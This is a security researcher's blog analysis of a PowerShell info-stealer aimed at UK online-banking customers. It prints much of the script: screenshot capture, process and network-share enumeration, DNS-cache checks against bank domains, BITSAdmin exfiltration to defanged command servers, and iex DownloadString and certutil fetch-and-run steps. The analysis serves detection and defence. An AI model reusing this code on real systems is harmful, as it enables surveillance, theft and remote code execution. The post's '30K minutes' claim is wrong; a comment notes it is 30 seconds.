Malicious Powershell Targeting UK Bank Customers

Published: 2018-05-19
Last Updated: 2018-05-19 06:08:20 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

I found a very interesting sample thanks to my hunting rules… It is a PowerShell script that was uploaded on VT for the first time on the 16th of May from UK. The current VT score is still 0/59[1]. The upload location is interesting because the script targets major UK bank customers as we will see below. Some pieces of the puzzle are missing. I don’t know how the script was dropped on the target. A retro-hunt search reported a malicious PE file (SHA256:3e00ef97f017765563d61f31189a5b86e5f611031330611b834dc65623000c9e[2]) that downloads another PowerShell script from a site located on a similar URL as found in the first file (hxxps://cflfuppn[.]eu/sload/run-first.ps1). Let’s check deeper the initial script. The first comment: it is not obfuscated and very easy to read and understand. Here is a review of the actions performed.

A specific directory is created to store all the files downloaded and created. The directory name is based on the system UUID and contains other sub-directories:

(Note: the code has been beautified for easier reading)

$uuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
$path = $env:APPDATA+"\"+$uuid;
try{ if([System.IO.File]::Exists($pp+"_0")){ Remove-Item $pp"_0";} }catch{}
try{ if([System.IO.File]::Exists($pp+"_1")){ Remove-Item $pp"_1";} }catch{}
try{ if([System.IO.File]::Exists($pp+"_2")){ Remove-Item $pp"_2";} }catch{}
try{ if([System.IO.File]::Exists($pp)){ Remove-Item $pp; } }catch{}

The most interesting function of the script: It has the capability to take screenshots:

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

function Get-ScreenCapture{
    [string]$Directory = ".",
  Set-StrictMode -Version 2
  Add-Type -AssemblyName System.Windows.Forms
  if ($AllScreens) {
    $Capture = [System.Windows.Forms.Screen]::AllScreens
  } else {
    $Capture = [System.Windows.Forms.Screen]::PrimaryScreen
  foreach ($C in $Capture) {
    $screenCapturePathBase = $path+"\ScreenCapture"
    $cc = 0
    while (Test-Path "${screenCapturePathBase}${cc}.jpg") {
    $Bitmap = New-Object System.Drawing.Bitmap($C.Bounds.Width, $C.Bounds.Height)
    $G = [System.Drawing.Graphics]::FromImage($Bitmap)
    $G.CopyFromScreen($C.Bounds.Location, (New-Object System.Drawing.Point(0,0)), $C.Bounds.Size)
    $EncoderParam = [System.Drawing.Imaging.Encoder]::Quality
    $EncoderParamSet = New-Object System.Drawing.Imaging.EncoderParameters(1)
    $EncoderParamSet.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($EncoderParam, $Quality)
    $JPGCodec = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where{$_.MimeType -eq 'image/jpeg'}
    $Bitmap.Save($FileName ,$JPGCodec, $EncoderParamSet)
    $FileSize = [INT]((Get-Childitem $FileName).Length / 1KB)

Then, a list of URLs is probed to download the next payload. They use BitsAdmin to do the job in the background and wait for the completion of at least one download. 

$d = @("hxxps://cflfuppn[.]eu/sload/gate.php","hxxps://sbnlnepttqvbltm[.]eu/sload/gate.php”);
For ($i=0; $i -le $d.Length-1; $i++){
  $rp= -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
  $dm0 = "cmd.exe";
  $ldf='/C bitsadmin /transfer '+$rp+' /download /priority normal "'+$d[$i]+'?ch=1" '+$path+'\'+$uuid+'_'+$i;
  $ldg='/C bitsadmin /SetMaxDownloadTime '+$rp+' 60'
  start-process -wiNdowStylE HiDden $dm0 $ldf;
  start-process -wiNdowStylE HiDden $dm0 $ldg;

while($e -eq 1) {
  For ($i=0; $i -le $d.Length-1; $i++) {        
    if([System.IO.File]::Exists($pp)) {
      $line=Get-Content $pp
      if ($line -eq "sok"){ $did=$i; }
  if ($ad -eq 1){ $e=2; }
  Start-Sleep -m 30000

Note the very long waiting time in the loop (30K minutes). Unfortunately, both URLs were not working during my analysis. At the end of the while() loop, $did contains the index of the URL which worked. It will be re-used later.

The next step is to generate a list of processes running on the target system (without the classic Windows system processes)

$tt=Get-Process  | Select-Object name
for ($i=0; $i -le $tt.length-1; $i++) {
  if ($tt[$i].Name -notmatch "svchost" -and $tt[$i].Name -notmatch "wininit" -and $tt[$i].Name -notmatch "winlogon" -and \
      $tt[$i].Name -notmatch "System" -and $tt[$i].Name -notmatch "dllhost" -and $tt[$i].Name -notmatch "conhost" -and \
      $tt[$i].Name -notmatch "ApplicationFrameHost" -and $tt[$i].Name -notmatch "csrss" -and \
      $tt[$i].Name -notmatch "bitsadmin" -and $tt[$i].Name -notmatch "cmd" -and $tt[$i].Name -notmatch "RuntimeBroker") {

The list of network shares is generated:

$dd=Get-WmiObject -Class Win32_LogicalDisk | Where-Object {$_.Description -match 'Network'} | Select-Object ProviderName,DeviceID;
try{ if ($dd ){for ($i=0; $i -le $dd.length; $i++){$outD=$outD+'{'+$dd[$i].DeviceID+''+$dd[$i].ProviderName+'}';}} }catch {}
try{ if ($dd -and $outD -eq "" ){$outD='{'+$dd[$i].DeviceID+''+$dd.ProviderName+'}';}}catch {}

Basic information about the target system:

$cp=Get-WmiObject  win32_processor | select Name;
try{ if ($cp.length -gt 0){ $cpu=$cp[0].Name }else{$cpu=$cp.Name} }catch {}

The most interesting part is the following. The script gets a list of DNS resolver cache via the ‘ipconfig /displaydns’ command and searches for interesting domains. The script contains a nice list of UK banks domains:

$b = @("","bankline","","","", \
       "","","","","onlinebusiness.lloydsbank", \

$dn=ipconfig /displaydns  | select-string "Record Name"
forEach ($z in $dn) {
  for ($i=0; $i -le $b.length-1; $i++){
    if ($z -match $b[$i] -and $oB -notmatch $b[$i] ){ $oB+="*"+$b[$i];}

If you are a UK bank customer and if you are performing online banking operations, there are chances that one of the domains above will be in your cache.

All the captured data are exfiltrated via an HTTP request:

$rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
$dm0 = "cmd.exe";
$ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND "'+$d[$did]+ \
    '?g=top.14.05&id='+$uuid+'&v='+$v1+'.'+$v2+'&c='+$rp+'&a='+$out+'&d='+$outD+ \
    '&n='+$env:ComputerName+'&bu='+$oB+'&cpu='+$cpu+'" '+$path+'\'+$uuid;
start-process -wiNdowStylE HiDden $dm0 $ldf;    

Here is an example of HTTP request:

"hxxps://cflfuppn[.]eu/sload/gate.php?g=top.14.05&id=C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F&v=10.0&c=DFnvTdwyapGVXEMZ&a=*armsvc*audiodg*browser_broker*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*ctfmon*dasHost*dwm*explorer*fontdrvhost*fontdrvhost*HxCalendarAppImm*HxTsr*Idle*jusched*lsass*ManagementAgentHost*MemoryCompression*MicrosoftEdge*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MSASCuiL*msdtc*MsMpEng*Music.UI*NisSrv*notepad*OfficeClickToRun*OfficeHubTasHost*powershell*Registry*SearchFilterHost*SearchIndexer*SearchProtocolHost*SearchUI*SecurityHealthService*services*SettingSyncHost*SgrmBroker*ShellExperienceHost*sihost*smartscreen*smss*splunkd*splunkwinevtlog*spoolsv*Sysmon*taskhostw*TPAutoConnect*TPAutoConnSvc*VGAuthService*vmacthlp*vmtoolsd*vmtoolsd*WinStore.App*WmiPrvSE*WVSScheduler&d={H:\\nas\test}{Z:}{}&n=WIN10VM&bu=*rootshell&cpu=Intel(R) Core(TM) i7-6920HQ CPU @ 2.90GHz” path=C:\Users\xavier\AppData\Roaming\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F

The result of this request is stored in %APPDATA%\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F and is parsed to take further actions. I presume that the returned content depends on the collection victim details. Based on the code below,  we can deduce the behaviour:

$line=Get-Content $pp
if ($line -match "run="){
  $u=$line -replace 'run=','';
  $ldf="/C powershell.exe  -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('"+$u+"')))";
  start-process -wiNdowStylE HiDden $dm0 $ldf;
} elseif ($line -match "updateps=") {
  $u=$line -replace 'updateps=','';
  $ldf="/C powershell.exe  -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('"+$u+"')))";
  start-process -wiNdowStylE HiDden $dm0 $ldf;
  try{ if([System.IO.File]::Exists($pp+"_0")){ Remove-Item $pp"_0";} }catch{}
  try{ if([System.IO.File]::Exists($pp+"_1")){ Remove-Item $pp"_1";} }catch{}
  try{ if([System.IO.File]::Exists($pp+"_2")){ Remove-Item $pp"_2";} }catch{}
  try{ Remove-Item $pp; }catch{}
}elseif ($line.length -gt 3) {
  $rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
  $ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND '+$line+' '+$path+'\'+$uuid+'_'+$rp+'.txt & Copy /Z '+$path+'\'+$uuid+'_'+$rp+'.txt '+$path+'\'+$uuid+'_'+$rp+'_1.txt & certutil -decode '+$path+'\'+$uuid+'_'+$rp+'_1.txt '+$path+'\'+$uuid+'_'+$rp+'.exe & powershell -command "start-process '+$path+'\'+$uuid+'_'+$rp+'.exe" >> '+$path+'\'+$uuid+''+$rp+'.log & bitsadmin /transfer '+$rp+'s /download /priority normal "'+$d[$did]+'?ts=1&id='+$uuid+'&c='+$rp+'" '+$path+'\'+$uuid+'_'+$rp+'.txt';
  start-process -wiNdowStylE HiDden $dm0 $ldf;

If the line starts with ‘run=‘, a new PowerShell script is downloaded and executed.
If the line starts with ‘updateps=‘, another script is downloaded and previous files are removed if existing.
Otherwise, the line contains an URL which is downloaded. The data is Base64 encoded, is decoded with certutil.exe and executed. Another HTTP request is performed:


This looks like clearly a communication channel with the C2.

Then, five screenshots are performed:

for ($i=0;$i -le 5;$i++){
  Start-Sleep -s 40

And uploaded to the C2:

$screenCapturePathBase =  $path+"\ScreenCapture";
while (Test-Path "${screenCapturePathBase}${c}.jpg") {
  try{ Invoke-RestMethod -Uri "$uuid&i=$c" -Method Post -InFile "${screenCapturePathBase}${c}.jpg"  -UseDefaultCredentials }catch{}
  Remove-Item "${screenCapturePathBase}${c}.jpg";

All this code is placed in the script main loop with a sleep time of 600 seconds. 

Do you have more information about the missing payloads? Please share.

[1] [2]

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant

2 comment(s)


"Note the very long waiting time in the loop (30K minutes)."

Actually, the -m parameter to start-sleep is sleep time in milliseconds. So the true wait time is 30 seconds. Why they went that way instead of using the -s parameter...*shrug*
Oh my bad! I don't understand how I made this stupid mistake. I probably read "-s" for seconds and deducted "-m" for minutes... was too tired!?
Thank you for the feedback!

Diary Archives